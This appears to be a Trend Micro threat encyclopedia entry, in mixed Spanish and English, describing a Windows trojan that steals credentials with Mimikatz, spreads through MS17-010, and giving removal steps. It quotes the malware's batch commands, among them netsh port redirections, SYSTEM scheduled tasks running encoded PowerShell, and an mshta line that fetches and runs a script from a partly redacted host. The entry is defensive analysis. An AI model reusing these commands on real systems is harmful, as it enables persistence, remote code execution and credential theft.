Análisis realizado por : Mohammed Malubay   

 Alias

Trojan:Win32/CryptInject(MICROSOFT); Trojan.Win32.Trickster.dmp(KASPERSKY); Python/Agent.DU!tr(FORTINET);

 Plataforma:

Windows

 Riesgo general:
 Potencial de destrucción:
 Potencial de distribución:
 Infección divulgada:
 Revelación de la información:
Bajo
Medio
High
Crítico

  • Tipo de malware
    Trojan

  • Destructivo?
    No

  • Cifrado

  • In the Wild:

  Resumen y descripción

Canal de infección Descargado de Internet, Eliminado por otro tipo de malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Este malware no tiene ninguna rutina de puerta trasera.

  Detalles técnicos

Tamaño del archivo 5,916,920 bytes
Tipo de archivo EXE
Residente en memoria
Fecha de recepción de las muestras iniciales 03 de abril de 2020
Carga útil Connects to URLs/IPs, Exploits vulnerability

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

  • %Temp%\mkatz.ini → Mimikatz script output
  • %User Temp%\_MEI{random}\{Python components}

(Nota: %Temp% es la carpeta de archivos temporales de Windows, que suele estar en C:\Windows\Temp o C:\WINNT\Temp).

. %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

)

Infiltra y ejecuta los archivos siguientes:

Agrega los procesos siguientes:

  • netsh advfirewall set allprofile state on
  • netsh advfirewall firewall add rule name=denyy445 dir=in action=block protocol=TCP localport=445
  • netsh firewall add portopening tcp 65532 DNS2
  • netsh interface portproxy add v4tov4 listenport=65532 connectaddress={BLOCKED}.{BLOCKED}.1.1 connectport=53
  • netsh firewall add portopening tcp 65531 DNSS2
  • netsh interface portproxy add v4tov4 listenport=65531 connectaddress={BLOCKED}.{BLOCKED}.1.1 connectport=53

Crea las carpetas siguientes:

  • %User Temp%\_MEI{random}

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

)

Rutina de puerta trasera

Este malware no tiene ninguna rutina de puerta trasera.

Robo de información

Recopila los siguientes datos:

  • Computer Name
  • Public IP Address
  • Username
  • Password

Otros detalles

Hace lo siguiente:

  • It connects to the following website(s) to download and execute a script:
    • http://v.{BLOCKED}h.com/v{user domain}
    • http://w.{BLOCKED}h.com/page.html?p{computer name}
  • Port 60124 serves as its mutex to allow only one instance running.
  • It deletes the user "k8h3d" if it exists, then it creates the same username afterwards on the infected machine and the vulnerable target machine.
  • It scans randomly-generated IP addresses over the Internet and the local network to check for open port 445.
    If it finds a target with an open port 445, it will attempt to exploit MS17-010 vulnerability and perform the following commands:
    • Send one of the following files to the target and saved as %System Root%\installed.exe and %System Root%\installed2.exe:
      • %Windows%\System32\svhost.exe
      • %Windows%\SysWOW64\svhost.exe
      • %Windows%\System32\drivers\svchost.exe
      • %Windows%\SysWOW64\drivers\svchost.exe
    • Copy %Temp%\svchost.exe as %Windows%\{random 4-8 letters}.exe
    • Move %Temp%\dig.exe as %Windows%\{random 4-8 letters}.exe
    • Create a batch file named %Temp%\p.bat containing the ff. commands:
      • move /y %Temp%\{Random 4-8 letters}.exe %Windows%
      • netsh interface ipv6 install
      • netsh firewall add portopening tcp 65532 DNS2
      • netsh interface portproxy add v4tov4 listenport=65532 connectaddress={BLOCKED}.{BLOCKED}.1.1 connectport=53
      • netsh firewall add portopening tcp 65531 DNSS2
      • netsh interface portproxy add v4tov4 listenport=65531 connectaddress={BLOCKED}.{BLOCKED}.1.1 connectport=53
      • if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetooths" /tr "powershell -ep bypass -e {base-64 string}" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\{random 4-8 letters}" /tr "%Windows%\{random 4-8 letters}.exe" /F&schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn DnsScan /tr "%Temp%\svchost.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?p%COMPUTERNAME%"&schtasks /run /TN Autocheck&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "%Windows%\{random 4-8 letters}.exe"&schtasks /run /TN Autostart&schtasks /delete /TN Autoscan /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autoscan /tr "%Temp%\svchost.exe"&schtasks /run /TN Autoscan)
      • net start Ddriver
      • for /f %%i in (\'tasklist | find /c /i "cmd.exe"\') do set s=%%i
      • if %s% gtr 10 (shutdown /r)
      • net user k8h3d /del
      • %Temp%\svchost.exe
      • del %Temp%\p.bat
    • Copies %Temp%\updll.exe and %Temp%\upinstalled.exe to the target machine, saved as the same filenames. It then creates %Temp%\tmp.vbs which executes the copied files.
    • Attempt to execute the sent files on the target machine.

  Soluciones

Motor de exploración mínimo 9.850
Primer archivo de patrones de VSAPI 14.822.04
Primera fecha de publicación de patrones de VSAPI 18 de febrero de 2019
Versión de patrones OPR de VSAPI 14.823.00
Fecha de publicación de patrones OPR de VSAPI 19 de febrero de 2019

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Reiniciar en modo seguro

[ aprenda más ]

Step 4

Buscar y eliminar este archivo

[ aprenda más ]
Puede que algunos de los archivos del componente estén ocultos. Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todos los archivos y carpetas ocultos.
  • %Windows%\{random 4-8 letters}.exe
  • %Temp%\mkatz.ini
  • %Temp%\m.ps1
  • %Temp%\upinstalled.exe
  • %Temp%\updll.exe
  • %Temp%\tmp.vbs
  • %Temp%\p.bat
  • %Temp%\dig.exe
  • %Temp%\{Random 4-8 letters}.exe
  • %System Root%\setupinstalled.exe
  • %System Root%\install.exe

Step 5

Buscar y eliminar estas carpetas

[ aprenda más ]
Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todas las carpetas ocultas.
  • %User Temp%\_MEI{random}

Step 6

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Task Name: DnsScan
  • Task to be Run: %Temp%\svchost.exe
  • Task Name: \Microsoft\windows\Bluetooths
  • Task to be Run: powershell -ep bypass -e {base-64 string}
  • Task Name: Autocheck
  • Task to be Run: "cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?p%COMPUTERNAME%"
  • Task Name: Autoscan
  • Task to be Run: %Temp%\svchost.exe

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 7

Reinicie en modo normal y explore el equipo con su producto de Trend Micro para buscar los archivos identificados como Trojan.Win32.MIMIKATZ.ADV En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.

Step 8

Descargar y aplicar este parche de seguridad No utilice estos productos hasta que se hayan instalado los parches adecuados. Trend Micro recomienda a los usuarios que descarguen los parches críticos en cuanto los proveedores los pongan a su disposición.  Microsoft Security Bulletin MS17-010

Step 9

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Trojan.Win32.MIMIKATZ.ADV En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


Rellene nuestra encuesta!